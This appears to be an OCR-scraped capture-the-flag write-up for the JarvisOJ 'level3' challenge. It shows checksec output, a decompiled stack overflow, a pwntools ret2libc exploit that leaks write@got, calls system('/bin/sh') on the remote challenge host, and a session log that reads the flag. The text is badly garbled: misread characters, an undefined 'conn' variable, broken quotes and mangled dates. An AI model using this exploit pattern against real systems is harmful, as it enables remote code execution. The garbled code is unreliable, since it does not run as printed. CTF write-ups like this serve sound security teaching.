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pwn@ubuntu: /mnt/hgfs/shareS rar x level3.rar.2047525b085c499c9dd189ba212bbaifs

RAR 5.38 beta 2 Copyright (c) 1993-2015 Alexander Roshal 4 Aug 2815
Trial version Type RAR -? for help

Extracting from level3.rar.2047525b05c499c9dd189ba212bbai1fs

Extracting level3
Extracting 1libc-2.19.s0
ALL OK

TATEE — FIEPIAD AR LR

' /home /pwn/pwn/libc-2.19.50"
Arch: 1386-32-1little
RELRO: Partial RELRO
Stack:

NX:

PIE:

' /home fpwn /pwn/level3’

Arch: 1386-32-1little
RELRO: Partial RELRO
Stack:

E?é: https://blog.csdn.net/qq
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ssize t vulnerable function()
char buf; // [esp+8h] [ebp-88h]

write(l, "Input:\n", Ju);
return read(@, &uf, 8x1@6u);

}
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vulfun_addr=0x0804044B #iX/>n] LI\ IDAH E 25 Hisk
write plt=e.symbols['write']

write got=e.got['write']
payload="a'*0x88+"'a"'*4+p32(write plt)+p32(vulfun_addr)+p32(1)+p32(write_got)+p32(4) #XHJE T EIRFEEHLH.
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http://xn--level3libc-2-3l2u.19.so

#! /usr/bin/env python

[from pwn import *
p=remote('pwn2.jarvisoj.com',9879)
libc=ELF('./1libc-2.19.s0")
e=ELF('./level3")

pad=0x88

\vulfun_addr=0x0804844B

write plt=e.symbols[ 'write']

write got=e.got['write']

payloadl="A"'*pad+"BBBB"+p32(write_plt)+p32(vulfun_addr)+p32(1)+p32(write_got)+p32(4)
p.recvuntil("Input:\n")

p.sendline(payloadl)

write addr=u32(conn.recv(4))
libc_write=1ibc.symbols[ 'write']

libc_system=1libc.symbols[ 'system']
libc_sh=libc.search('/bin/sh").next()
system_addr=write_addr-libc_write+libc_system
sh_addr=write_addr-libc_write+libc_sh
payload2="A"'*pad+"BBBB"+p32(system_addr)+"'a'*4+p32(sh_addr)
p.sendline(payload2)

p.interactive()
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Opening connection to pwn2.Jjarviso].com on port 9879: Dong
[*] 'fhome/pwn/pwn/libc-2.19.50"
Arch: 1386-32-little
RELRO: Partial RELRO
Stack:
NX:
PIE:
' /home fpwn fpwn/level3"’
Arch: 1386-32-little
Partial RELRO

Oxf7679460
[*] switching to interactive mode
Input:

1s
flag
level3

cat flag
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	这题是典型的ROP返回libc地址题，是一个十分经典的ROP题目。


